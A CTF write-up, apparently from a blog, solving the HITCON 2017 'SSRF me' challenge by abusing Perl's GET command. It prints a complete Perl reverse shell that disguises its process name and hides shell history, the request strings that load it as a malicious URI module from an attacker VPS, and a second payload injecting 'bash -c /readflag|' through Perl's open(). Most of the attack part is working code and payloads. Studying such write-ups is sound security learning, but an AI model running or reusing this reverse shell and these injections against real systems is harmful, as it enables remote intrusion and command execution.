2017 hitcon Ssrf_me Comments (perl scripts GET open loopholes and resolve vulnerabilities)

0x01 Source

http://117.50.3.97:8004/

<?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox); 

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__); 

Code function is roughly based on ip create a sandbox folder, passing a parameter url, execute "GET".escapeshellarg($_GET["url"]), and writes the results to our incoming filenamein

GETIs a Lib for WWW in Perlcommand intended to simulate httpthe GETrequest

0x01 solution to a problem

1, CVE-2016-1238 ubuntu18.04 has not been repaired

When parsing encountered a non-protocol-defined (as defined protocols perl5/LWP/Protocolcan see the folder, the default support GHTTP, cpan, data, file, ftp, gopher, http, https, loopback, mailto, nntp, nogowhen the protocol, such as HyyMbb://HyyMbb.com, URI will automatically read the directory under the current directory and view is there a corresponding protocol module and try pm eval "require xxx"here we malicious pm modules will be implemented, in particular the vulnerable code perl5/URI.pm136 line at:

sub implementor
{
    my($scheme, $impclass) = @_;
    if (!$scheme || $scheme !~ /\A$scheme_re\z/o) {
    require URI::_generic;
    return "URI::_generic";
    }

    $scheme = lc($scheme);

    if ($impclass) {
    # Set the implementor class for a given scheme
        my $old = $implements{$scheme};
        $impclass->_init_implementor($scheme);
        $implements{$scheme} = $impclass;
        return $old;
    }

    my $ic = $implements{$scheme};
    return $ic if $ic;

    # scheme not yet known, look for internal or
    # preloaded (with 'use') implementation
    $ic = "URI::$scheme";  # default location

    # turn scheme into a valid perl identifier by a simple transformation...
    $ic =~ s/\+/_P/g;
    $ic =~ s/\./_O/g;
    $ic =~ s/\-/_/g;

    no strict 'refs';
    # check we actually have one for the scheme:
    unless (@{"${ic}::ISA"}) {
        if (not exists $require_attempted{$ic}) {
            # Try to load it
            my $_old_error = $@;
           ###################################
            eval "require $ic"; #尝试包含并执行
           ###################################
            die $@ if $@ && $@ !~ /Can\'t locate.*in \@INC/;
            $@ = $_old_error;
        }
        return undef unless @{"${ic}::ISA"};
    }

    $ic->_init_implementor($scheme);
    $implements{$scheme} = $ic;
    $ic;
}

So we can find a perlback door, put on their vps

#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell. Change these.
my $ip = '127.0.0.1';
my $port = 12345;

# Options
my $daemon = 1;
my $auth   = 0; # 0 means authentication is disabled and any 
        # source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
    cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

    if ($auth) {
        unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
            cgiprint("ERROR: Your client isn't authorised to view this page");
            cgiexit();
        }
    }
} elsif ($auth) {
    cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
    cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
    my $pid = fork();
    if ($pid) {
        cgiexit(0); # parent exits
    }

    setsid();
    chdir('/');
    umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
    cgiprint("Sent reverse shell to $ip:$port");
    cgiprintpage();
} else {
    cgiprint("Couldn't open reverse shell to $ip:$port: $!");
    cgiexit();    
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
    my $line = shift;
    $line .= "<p>\n";
    $global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
    cgiprintpage();
    exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
    print "Content-Length: " . length($global_page) . "\r Connection: close\r Content-Type: text\/html\r\n\r\n" . $global_page;
}

/?url=自己的vps的perl后门路径&filename=URI/HyyMbb.pm
/?url=HyyMbb:/HyyMbb.com&filename=xxx
We will be able to receive shell rebound


2, perl's open command may lead to command execution

In the process filethe protocol perl5/LWP/Protocol/file.pm130 line, as follows:


#第47行
    # test file exists and is readable
    unless (-e $path) {
    return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
                  "File `$path' does not exist");
    }
    unless (-r _) {
    return HTTP::Response->new( &HTTP::Status::RC_FORBIDDEN,
                  'User does not have read permission');
    }
...
#第127行
    # read the file
    if ($method ne "HEAD") {
    open(F, $path) or return new
        HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
               "Cannot read file '$path': $!");
    binmode(F);
    $response =  $self->collect($arg, $response, sub {
        my $content = "";
        my $bytes = sysread(F, $content, $size);
        return \$content if $bytes > 0;
        return \ "";
    });
    close(F);
    }
...


This vulnerability has been fixed ubuntu18.04
repaired in the following manner in the third line, open the middle of the parameters'<'

	# read the file
    if ($method ne "HEAD") {
	open(my $fh, '<' , $path) or return new
	    HTTP::Response(HTTP::Status::RC_INTERNAL_SERVER_ERROR,
			   "Cannot read file '$path': $!");
	binmode($fh);
	$response =  $self->collect($arg, $response, sub {
	    my $content = "";
	    my $bytes = sysread($fh, $content, $size);
	    return \$content if $bytes > 0;
	    return \ "";
	});
	close($fh);
    }

First of all meet in front of the file exists, will continue to open statement, so before executing the command have to ensure that there is a corresponding file with the same name /?url=file:bash -c /readflag|&filename=bash -c /readflag|to create the corresponding file of the same name
/?url=file:bash -c /readflag|&filename=123feature code execution exploit open the
last direct access /sandbox/哈希值/123can get the flag

Published 47 original articles · won praise 2 · Views 3127

Guess you like

Origin blog.csdn.net/a3320315/article/details/103544980